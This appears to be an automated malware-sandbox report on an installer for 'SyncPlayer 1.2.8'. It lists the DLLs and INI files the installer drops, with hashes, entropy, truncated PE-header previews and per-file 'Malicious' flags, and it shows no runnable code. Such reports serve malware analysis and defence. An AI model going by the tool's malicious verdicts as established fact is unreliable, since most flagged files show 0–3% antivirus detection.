C:\Users\user\AppData\Local\SyncPlayer 1.2.8\WaveRec.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	157696
Entropy (8bit):	6.588815894817083
Encrypted:	false
SSDEEP:	3072:4vgQzfb7Tam/UofCMs9B3a87Kw2PgDaqa75nW0B6bS:qg+fOm/2MsX7qWF
MD5:	0C25DE9D7007B3810934B92D708CFDF0
SHA1:	311866DD1D3E61DFAB7B4B43114EB2BDC76B57BB
SHA-256:	464709B85BE4E48B19821B967C600B7CCD51AAF013C53504B349B6B424933675
SHA-512:	AFE9401D3F0E1D4D779D1563EE0295B17088C85B980A46729D3BF16683F8CB25D65E96EB0B6E183266B65CCEDE37246E04CB093D03FEE965180C583E5DB0C819
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........E.$..$..$..\..$..\..$..\...$.....$..$..r$..\..$..\..$..v..$..\..$..Rich.$..........................PE..L......\...........!.................................................................q....@.........................P................`..X7......................p...................................P...@............................................text............................... ..`.rdata...[.......\..................@..@.data...hK..........................@....rsrc...X7...`...8..................@..@.reloc..` ......."...F..............@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\WaveRec.ini (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp
File Type:	ISO-8859 text, with CRLF line terminators
Category:	dropped
Size (bytes):	270
Entropy (8bit):	5.462454074658514
Encrypted:	false
SSDEEP:	6:LAKQZU2VyhBho/5dpWkAe/y3efsDxvodagPJXo/55er16i0iWlRWVsn:LIZU2VyhPoRdpWcy33ptgPhoR5ersi1m
MD5:	79B3E50CC7CDFE892C9B342ACF0A5D8B
SHA1:	E25415ED7D847E9EB3EC9E9763C7C67A6A0E69CC
SHA-256:	E6FB7CAC469EF2B59DFEFB8BA2D0973C4E8366F3EFF1955483E9DE248DAD231E
SHA-512:	ED3A19247F624FF1D72271E1379D149792DE8EA549FC9BDB1FA1904AF9B7BCA3F70050FA9894D1B31DC3F0382BD64ACF2FD64B20EBE665BD850512ACF8A284A5
Malicious:	false
Preview:	[RecordSound]..SpkRec=1..SpkDevice="...... (Realtek High Definition Audio)"..SpkLine=".........."..SpkPlus=0..MicRec=1..MicDevice=".... (Realtek High Definition Audio)"..MicLine="........"..MicPlus=0..Channels=2..SamplesPerSec=22050..BitsPerSample=16..NotViewVol=0..

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\avdevice-55.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	89102
Entropy (8bit):	6.433101399482147
Encrypted:	false
SSDEEP:	1536:U2Vt7zQkCgHY99TMa8OrZducFOOF0vBKec1:UGFQkCgHYCOr/utG
MD5:	41465204A0947156F06267FD609A406D
SHA1:	B278E36DE90DAA44F3408DBB00B0D80169677FBF
SHA-256:	8554AA62925EFD12B0773D078FFED55F2B285E737A48F604C3E9C535D74636BB
SHA-512:	6D4F6EECF9CCFE65E9BBF67FF876C2E152ED254B831D00923B4658DED42F3103220E19EDA4083933F02178A08084D96CC694024AAEE66F59C48BA5E1ABBA7735
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...1.2[.\.........#.........X......`..............o................................3O....@... ......................p..q.......h.......d.......................`....................................................................................text...t...........................`.P`.data...............................@.`..rdata..$\|.......~..................@.`@/4...........@......................@.0@.bss.........`........................`..edata..q....p.......0..............@.0@.idata..h............4..............@.0..CRT....,............J..............@.0..tls.... ............L..............@.0..rsrc...d............N..............@.0..reloc..`............R..............@.0B........................................................................................................................................................................................

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\avformat.ini (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	23
Entropy (8bit):	4.0559581516151235
Encrypted:	false
SSDEEP:	3:jLkAgzAay:jLui
MD5:	9CE01B30D887F6E66A3A0E1A6305AD40
SHA1:	A47E65E26C120D863125F4A07290258E6934191A
SHA-256:	653C8A34477856F11C0CA9759766972AFD0CD4CE28B1419C4B1D9BA27E3C207C
SHA-512:	3E0402963F580FA9D0368A06665920077F84D121AA22CF940D4E606E674BC4B2DCE4CD4FDC55B93592C8AD96D4ED757D10538A77671F2714FE2CA04CB2DDAB84
Malicious:	false
Preview:	[Camera]..typeEnbed=0..

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\avutil-52.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	334350
Entropy (8bit):	6.476941251422441
Encrypted:	false
SSDEEP:	6144:6RXFp5Ik38GxNMHOfdCWBTjpmD/CiPTiD9w/U5XsdPVrHB5HrvQSFYd:Yp593DxamdBibxFYd
MD5:	9ECE73CA6C29378BB33146D90408CC47
SHA1:	5DAE13BA39EF8DC323CBCD8F39D119B4615FD541
SHA-256:	793D7AA16585FF581F757546EDAB36380632A1C1812C51A1185AA89387963AAA
SHA-512:	F2AACF2862D26F42266600C7C763847F6E45995CDD49F8A18DC0D3F1A7771821272C6CAFAAFE9C0C908CE09FE50A5CABCFC7E8EFFF73FFD1EE34246AC379E13F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...;.2[...........#................`..............f......................................@... ..........................3...@.......p..L....................................................`......................\B...............................text...t...........................`.P`.data...............................@.`..rdata..............................@.`@/4......(s...p...t...F..............@.0@.bss....@.............................`..edata...3.......4..................@.0@.idata.......@......................@.0..CRT....,....P......................@.0..tls.... ....`......................@.0..rsrc...L....p......................@.0..reloc..............................@.0B........................................................................................................................................................................................

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\cudaEncoderKernel.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	235008
Entropy (8bit):	6.153080920702548
Encrypted:	false
SSDEEP:	6144:FHyaJDqrKHdok8Wa+f5LdMwqBI8Fnvfg:FHpLra849jFnvfg
MD5:	BB51F3A2E9672DB7570DAAB779F0F9F6
SHA1:	DC55628146324245AE2863736B1EB8F79D6519AE
SHA-256:	C1BE6B75DB7C81ACA2AAE4088546BD56038CD84CFAF32FDEB265618E2B1E60DC
SHA-512:	37CB8A7421B12218E043A3EFD188781F4D107F003E9F02047EBF9BEEDB89648F3FF6176D2CC50DE585DF0B52C7E52EF69D23018EE3852D98E9D931F6D447B20B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........I.i\|..i\|..i\|......i\|......i\|..i}.Oh\|......i\|...../i\|.....1i\|..;...i\|......i\|......i\|..;...i\|......i\|.Rich.i\|.........................PE..L......Y...........!.....$...n...............@............................................@.........................@................P...........................(..`D..................................@............@......$...@....................text...{#.......$.................. ..`.rdata..(....@.......(..............@..@.data....k.......2..................@....rsrc........P...0..................@..@.reloc...t.......v... ..............@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-1R8O6.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	235008
Entropy (8bit):	6.153080920702548
Encrypted:	false
SSDEEP:	6144:FHyaJDqrKHdok8Wa+f5LdMwqBI8Fnvfg:FHpLra849jFnvfg
MD5:	BB51F3A2E9672DB7570DAAB779F0F9F6
SHA1:	DC55628146324245AE2863736B1EB8F79D6519AE
SHA-256:	C1BE6B75DB7C81ACA2AAE4088546BD56038CD84CFAF32FDEB265618E2B1E60DC
SHA-512:	37CB8A7421B12218E043A3EFD188781F4D107F003E9F02047EBF9BEEDB89648F3FF6176D2CC50DE585DF0B52C7E52EF69D23018EE3852D98E9D931F6D447B20B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........I.i\|..i\|..i\|......i\|......i\|..i}.Oh\|......i\|...../i\|.....1i\|..;...i\|......i\|......i\|..;...i\|......i\|.Rich.i\|.........................PE..L......Y...........!.....$...n...............@............................................@.........................@................P...........................(..`D..................................@............@......$...@....................text...{#.......$.................. ..`.rdata..(....@.......(..............@..@.data....k.......2..................@....rsrc........P...0..................@..@.reloc...t.......v... ..............@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-1RRKJ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	791481
Entropy (8bit):	6.217228015320556
Encrypted:	false
SSDEEP:	24576:A0Q0PEiRC+tRj9fPFU0L2gNAtFhlHdQPdbf3lpXmxi5OKD:A0Q/DAD
MD5:	4962D3BB23AAA3B389F986335E6C4EE2
SHA1:	1B01A8F626A0CBAEA18622CD4DCFB3C0CC632AD8
SHA-256:	C205DF696F37D6C6AA0832F2B776B2E461665FFB5588A7AB7D35BCF24BE4506D
SHA-512:	38F1FBC8A35D481FC7B12D85FEA29A228E5A5918CBEE6C18B90CA8C1E43A295088E28FABE1D5ED832821CAF1E2B6FA573759819D2232455D9EE163F706B91143
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....=.Y...........!................`.............`b.........................`......Y......... ......................`..`....p..................................H:..................................................<q...............................text...............................`.P`.rotext............................. .P`.data...............................@.`..rdata...............l..............@.`@.rodata..2.......4..................@.P@/4......xc...P...d... ..............@.0@.bss..................................`..edata..`....`......................@.0@.idata.......p......................@.0..CRT....,...........................@.0..tls.... ...........................@.0..reloc..H:.......<..................@.0B/14.................................@.@B/29....._...........................@..B/41.................................@..B/55.......... ..........

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-4FGVI.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	67584
Entropy (8bit):	6.205685784114478
Encrypted:	false
SSDEEP:	1536:oacSu67RJwNzZzGqdqAAfnjWG5d+nY3kubrNfF8:o8XMzZSqILfnjWG2Y3ku/NfF8
MD5:	3442F2ED6AF66C75AD4F42FD8DE2917D
SHA1:	AAB69C6A498BC0A629B49BCDF06A66FC658EAE24
SHA-256:	C2F9C9913395D50DA23CB5AE9BC40AE98B1B74862FB584819654D27F5A0199BE
SHA-512:	DC0D7FD02FF51D696CEE4A2385B97B7D9D860707AD6B7D0DBF41BF161FA1DF7AEF39C000AE6589A2E53142CE4D6530245F227D7305824BBC4BED8D16D27B7A05
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......(...lO..lO..lO..e7..fO..>'..nO..>'..xO..>'..eO..>'..nO...P..hO...)..mO...)..iO..lO...O......fO...&..dO...&..mO...&d.mO...&..mO..RichlO..................PE..L...Bx.\...........!.........h......~........................................@............@.........................p...t............ .......................0..........p...........................p...@............................................text............................... ..`.rdata...Q.......R..................@..@.data...H...........................@....rsrc........ ......................@..@.reloc.......0......................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-6CN68.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	57344
Entropy (8bit):	5.130680079534511
Encrypted:	false
SSDEEP:	768:kEFohyrArHI0WRWeI2XhTGQQzA07nZqqx5P:kLhfrlFsTG3AQj5P
MD5:	F0A4E6B345A8AD91FF529DE0702B58F5
SHA1:	7DEE326B32285A485E339040DDABA3A66038F176
SHA-256:	B20A1A2827FB12D7E5D39DA84773AE6E4EE21899AF066A666312DDA2A24960F4
SHA-512:	6F6BEE64EB99A4F8A5FE438539F287F3B5AE2AB1189763C6EA057648628FFEB990E95F2F5CD2A0250395EA80F79D5CFE4E36913EF85392E7BA474D092C6D4460
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.................c.....c.......c......c..........c.....c.....c.....c....Rich..................PE..L...XB.Q...........!.....p...p......j...........................................................................................d.......................................................................@...............0............................text...mh.......p.................. ..`.rdata........... ..................@..@.data...\...........................@...ve_share$...........................@....rsrc...............................@..@.reloc..F...........................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-6UNEV.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	686080
Entropy (8bit):	6.599346864475418
Encrypted:	false
SSDEEP:	12288:Ou/F+MoQxHSbb6lQIrvw7A87cNzqmYWmQ+uYI0qV+h2uCpmL:prxybb6l9zw79GzqjWmQdYLqYUTs
MD5:	1583338F5D055CD5B4EA5677B2CCFF6E
SHA1:	2335761BD200D0008CB041EB3D7D4860E9E421E9
SHA-256:	C1F8E9F30A5BF7CA4A0F2F1F60FFD97A0F49F65448BF5B6B4BBDBC8A263A321F
SHA-512:	8A44820050D955D1401EF7B912AC4B86FCF5839FC2A64C1AE4CC8AC1A3FE9BB1AA1FA6063DF863D3DC2A1D0804451F6FCAC4F188390D5A27A68891273BBED957
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.....................n............... ....@..............................................................................-.......f......................\|...................................................T................................text............................... ..`.itext.............................. ..`.data...@-... ......................@....bss.....D...P.......8...................idata...-...........8..............@....edata...............f..............@..@.reloc..\|............j..............@..B.rsrc....f.......f..................@..@.....................x..............@..@........................................................................................................................................

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-76H43.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	189966
Entropy (8bit):	6.281703857040552
Encrypted:	false
SSDEEP:	3072:exxxxRxRw6vxxxxRxRw6RsP4aa6aa663cQexwaa6aa663s2Wm548/+lr74angtFa:exxxxRxRw6vxxxxRxRw604aa6aa663cq
MD5:	06EE1D0F5A60783DE0846466B95CF758
SHA1:	0A82AAADD658B8EB4807F61447CAEECF1050CB1C
SHA-256:	C0E8BEC9F8178F73C20A76B26D206FB79AD3112C3A78D3380CC8A661493B28C1
SHA-512:	0E15D7A6833A8C2D77583ACB0CC28332D27371169F4E3E03B1CBB1D9C0F290B78D9CD3F5014522764758EDCF9B9392E50885E4C341A3832F49CBB9E3CB658D6E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...7.2[...........#................`..............j.........................p.......,....@... .........................K.... .......P..`....................`..L............................@......................$!...............................text...............................`.P`.data...............................@.0..rdata..............................@.`@/4..................................@.0@.bss..................................`..edata..K...........................@.0@.idata....... ......................@.0..CRT....,....0......................@.0..tls.... ....@......................@.0..rsrc...`....P......................@.0..reloc..L....`......................@.0B........................................................................................................................................................................................

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-77T5V.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp
File Type:	ISO-8859 text, with CRLF line terminators
Category:	dropped
Size (bytes):	270
Entropy (8bit):	5.462454074658514
Encrypted:	false
SSDEEP:	6:LAKQZU2VyhBho/5dpWkAe/y3efsDxvodagPJXo/55er16i0iWlRWVsn:LIZU2VyhPoRdpWcy33ptgPhoR5ersi1m
MD5:	79B3E50CC7CDFE892C9B342ACF0A5D8B
SHA1:	E25415ED7D847E9EB3EC9E9763C7C67A6A0E69CC
SHA-256:	E6FB7CAC469EF2B59DFEFB8BA2D0973C4E8366F3EFF1955483E9DE248DAD231E
SHA-512:	ED3A19247F624FF1D72271E1379D149792DE8EA549FC9BDB1FA1904AF9B7BCA3F70050FA9894D1B31DC3F0382BD64ACF2FD64B20EBE665BD850512ACF8A284A5
Malicious:	false
Preview:	[RecordSound]..SpkRec=1..SpkDevice="...... (Realtek High Definition Audio)"..SpkLine=".........."..SpkPlus=0..MicRec=1..MicDevice=".... (Realtek High Definition Audio)"..MicLine="........"..MicPlus=0..Channels=2..SamplesPerSec=22050..BitsPerSample=16..NotViewVol=0..

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-78EVJ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	23
Entropy (8bit):	4.0559581516151235
Encrypted:	false
SSDEEP:	3:jLkAgzAay:jLui
MD5:	9CE01B30D887F6E66A3A0E1A6305AD40
SHA1:	A47E65E26C120D863125F4A07290258E6934191A
SHA-256:	653C8A34477856F11C0CA9759766972AFD0CD4CE28B1419C4B1D9BA27E3C207C
SHA-512:	3E0402963F580FA9D0368A06665920077F84D121AA22CF940D4E606E674BC4B2DCE4CD4FDC55B93592C8AD96D4ED757D10538A77671F2714FE2CA04CB2DDAB84
Malicious:	false
Preview:	[Camera]..typeEnbed=0..

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-8AHH0.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	5.646816199679047
Encrypted:	false
SSDEEP:	768:OMlp3fx2wk8DhoyLh38OHUHXgx0TYk5GfWfOo1LxF/cQ:OMlpvx20FNUHXgGTYytfVLxFb
MD5:	E399CDA9A9518D9C69153CCB6D511F8A
SHA1:	8F0FD4318E32A1D6A1C94AD9887C510E80AC9AA3
SHA-256:	C94E6C2175097758C67D8524CBE72206683641E58D7A9A73A8A36B4AF1D53D3B
SHA-512:	F0DC07C8ECEB2F27CE9D16304B3C2EF50F81CA6822271E659EDD0159E3A64FD4F5FA5D08A7082720B0199EF1C6E1B7E6512B11FB326A0B5A56815F870E75D465
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......E<.B.]...]...]..&....]..&....]..&...C]..w....]...]..X]..&....]..&....]..&....]..&....]..Rich.]..........PE..d....6.Q.........." .....r...b...............................................0..............................................................d...d............................ ..........................................................h............................text...~q.......r.................. ..`.rdata...(.......*...v..............@..@.data....!..........................@....pdata..............................@..@ve_share4...........................@....rsrc...............................@..@.reloc..\.... ......................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-A1FNP.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	70598
Entropy (8bit):	5.27556266441527
Encrypted:	false
SSDEEP:	1536:C+Sg9oMF5bqgRePiHyYelXevOzWAPehIt2uhZD:C49oI5bqliHyYcudAPehIt2Q5
MD5:	6F346D712C867CF942D6B599ADB61081
SHA1:	24D942DFC2D0C7256C50B80204BB30F0D98B887A
SHA-256:	72E6C8DD77FA7E10A7B05EF6C3E21D3F7E4147301B0BF6E416B2D33D4E19A9C3
SHA-512:	1F95A211D5DD3E58D4E2682F6BF2C5380B230E9907E2882097B77B99520CD2C788F43AD2ABCCE617DD8DED0043E4EF1C8B6E083C44688B23109868E6CDD2364C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....ZWH....X......!...8.d...&......`.............Hb.........................p......H+........ .........................................d............................................................................................................text....b.......d.................. ..`.data...D............h..............@....rdata...............j..............@..@.bss....`................................edata...............l..............@..@.idata...............\|..............@....rsrc...d...........................@....reloc..............................@..B/4...... .............................../19.....U.............................../35...................................../47.....!.... ........................../61..........0........................../73.....4....@........................../86..........P........................../97.....h....`..........

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-ATOOC.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	170496
Entropy (8bit):	6.106350948348404
Encrypted:	false
SSDEEP:	3072:4o/xbk9GvULHHu4SnwRVzXH75xcvvvWzpN:Fxg9/uls7fcvvvwp
MD5:	E14075E1E6DE40EDFF919368DE072234
SHA1:	289BF827E2C2D070BD0D919CF04284B29F34BD1C
SHA-256:	2A596EDC9B4400CB1D494C0C6FD63253F74FFA2CB1CC7690A45205219AFBFF69
SHA-512:	6D00C632C671917DB6D433C38C4589544AB380CA84779D706662ACC37A9144F5F03C81A87F3394CA5136BF18FBBB8745251695CD76DE84D2C2B77A7F4001464F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........JU.$..$..$.u....$.....$....M.$......$..}_..$..%...$.....$.....$.....$.Rich.$.........................PE..L.....DZ...........!...............................................................>.....@.........................0"..........x......................................................................@............................................text...%........................... ..`.rdata...s.......t..................@..@.data...D{...0...`..................@....rsrc................r..............@..@.reloc..V$.......&...t..............@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-AVN0V.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	36931
Entropy (8bit):	4.264495375774686
Encrypted:	false
SSDEEP:	768:J2VMCksOwdrmlbeAGk41qCDubRsHYjx3tUvPcha/I:iFv+tzts4jNtUvPchyI
MD5:	FF243859F3548636AA2963B919FA6E72
SHA1:	781F3BF5B0F4D8C6D1F6DA1B27A373D6DF9A474F
SHA-256:	B8B07BDC4AD631076BF865A7B076CF09B9B0B0CDFDF37D423BF9D6F5FF6DAB3D
SHA-512:	93C9FF2AEE4070D7111A235C020022F68754313BBEC8117AF77EE11CBF56E0897172E0C258E272D3CEA15E3BFE162BBB3D55257B1612CE74BA47BCC04EEB9C6B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......s.u.7...7...7...7...4...U...3.......6......3...7...j......1.......6......1...Rich7...................PE..L.....'U...........!.....@...P.......G.......P......................................................................pY..#....U..x.......X.......................t....Q...............................................P...............................text...";.......@.................. ..`.rdata.......P.......P..............@..@.data...,....`.......`..............@....rsrc...X............p..............@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-B8KUP.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	103438
Entropy (8bit):	6.451459241635566
Encrypted:	false
SSDEEP:	3072:3xSmkPMjmRj0RqKgBUmLDkw+OCocHNMs8LJ:BSmk8mx04EtMs2
MD5:	75135E7BB53A99DF134A049457637AF8
SHA1:	C06D0C49457F3FFA6C077C6AD774BD264038B1D3
SHA-256:	A3565FCCDF1D74ABBAF7AA5A095D8BB20567DB55B76303FDD6CE4B2143C37951
SHA-512:	4E2C516CC8DF26DC541CA4DB9B0803B72CE4D84A0BF75595431BA6808413F0D64A94DE00A61B50DB5B2B8EBE5F59F09880993BA0DE8EEECFEFD75C8EDEE0AA26
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...9.2[...........#................`........0....\|p.........................0............@... .........................$...............l.................... ......................................................X................................text...............................`.P`.data...<....0......................@.P..rdata...6...@...8..................@.`@.rodata..............T..............@.`@/4.......!......."...V..............@.0@.bss..................................`..edata..$............x..............@.0@.idata...............\|..............@.0..CRT....,...........................@.0..tls.... ...........................@.0..rsrc...l...........................@.0..reloc....... ......................@.0B................................................................................................................................................

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-CBP2N.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	3.6440630653513795
Encrypted:	false
SSDEEP:	192:h7kY3pPkw9Bpj8srMkzQuR7awElf+cn4G5ey4SyJRQ0jwO44lwib6w0gEGD+NS:DMwSEzdaw0tnfqyowJ4lwi2UEG
MD5:	62400F82750F17936091B90863A59566
SHA1:	D304408B4FDBDB99B6D03DB848EC2B9210EB90C8
SHA-256:	E06668D58414F436C498A2278CB067AD4BAA22735C223509DBF851ECBD6FE645
SHA-512:	ADC57BB638397F5A565B5CED5A0E6F47C855EB50C2498FB527C7D15B74AF34A14A0D4E4E8B709151A988A350311C5B488D0022540979B423B494D58714826B58
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........G..&..&..&.U...&..9..&..&..&..9..&..9..&..:..&..9..&..9..&.....&..&..&.....&.H ..&.p...&.Rich.&.................PE..L....%rS...........!..... ...P.......,.......0......................................................................p:......(7.......`.. ....................p.......................................................0..\............................text............ .................. ..`.rdata.......0.......0..............@..@.data...L....@.......@..............@....rsrc... ....`.......P..............@..@.reloc.......p.......`..............@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-CMGGO.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257024
Entropy (8bit):	6.188312331763729
Encrypted:	false
SSDEEP:	6144:gjdRIa917/l0Aw2Qf2jmCJYBYjn6hKn3kcaZ:gj7/lpwZOjmCJYonWZ
MD5:	F258AC2BD27DA86FE911F2E7414D7CA8
SHA1:	8A1CC7D65A5192B9233E0EC46123A2F209E64B1E
SHA-256:	0C5AC6846D86A8FBCF1E4327195881D510E7C4C4D86F7E75E0C8762415F86DB9
SHA-512:	2F786F5328117E685AFBDEA193BA1E075F17CF5CFFBEFBC2D6D25393DE834890076063A9CB4BC37B0E56625BBE9C155317FF21031B68DA8CEABA40AF03203FAD
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......@+.,.J...J...J..#....J..#....J...J..2H...2B..J...2T..J...2S.yJ....A..J....S..J...2]..J...2E..J....C..J...2F..J..Rich.J..................PE..L......Z...........!.........f.......f.......................................P......K2....@..........................;..l...8...........(/.......................)......................................@...............\|.......@....................text............................... ..`.rdata..\...........................@..@.data...x_...@...$...$..............@....rsrc...(/.......0...H..............@..@.reloc..Lr.......t...x..............@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\SyncPlayer 1.2.8\is-DLH94.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-DB66J.tmp\OFjT8HmzFJ.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	710426
Entropy (8bit):	6.472191768138159
Encrypted:	false
SSDEEP:	12288:q0QfKb+GlrPj37VzHEA6Yd2qKvJ4wyyrNQIRZCGkKLch/bcXExy4P:qfKb+GlrPj37VzHEA6B3vDaCCGkF/bcc
MD5:	192C8E6CE2BE9654E76962992BFD6CF7
SHA1:	455161093A42E611574A4B19994250BD664D084A
SHA-256:	50014C3C9131D818BB3105B65A4FCFEF85873C966644F781481079194ACCD075
SHA-512:	81B6B073A3119CA81071AE8D43A0EE9FD6C43E6EDDA2FD0B094A96CDED2E312DE1F62C343E0D6E11922101D2650A07B37C51D1618A843C1E6F5E3AA9821E2A25
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
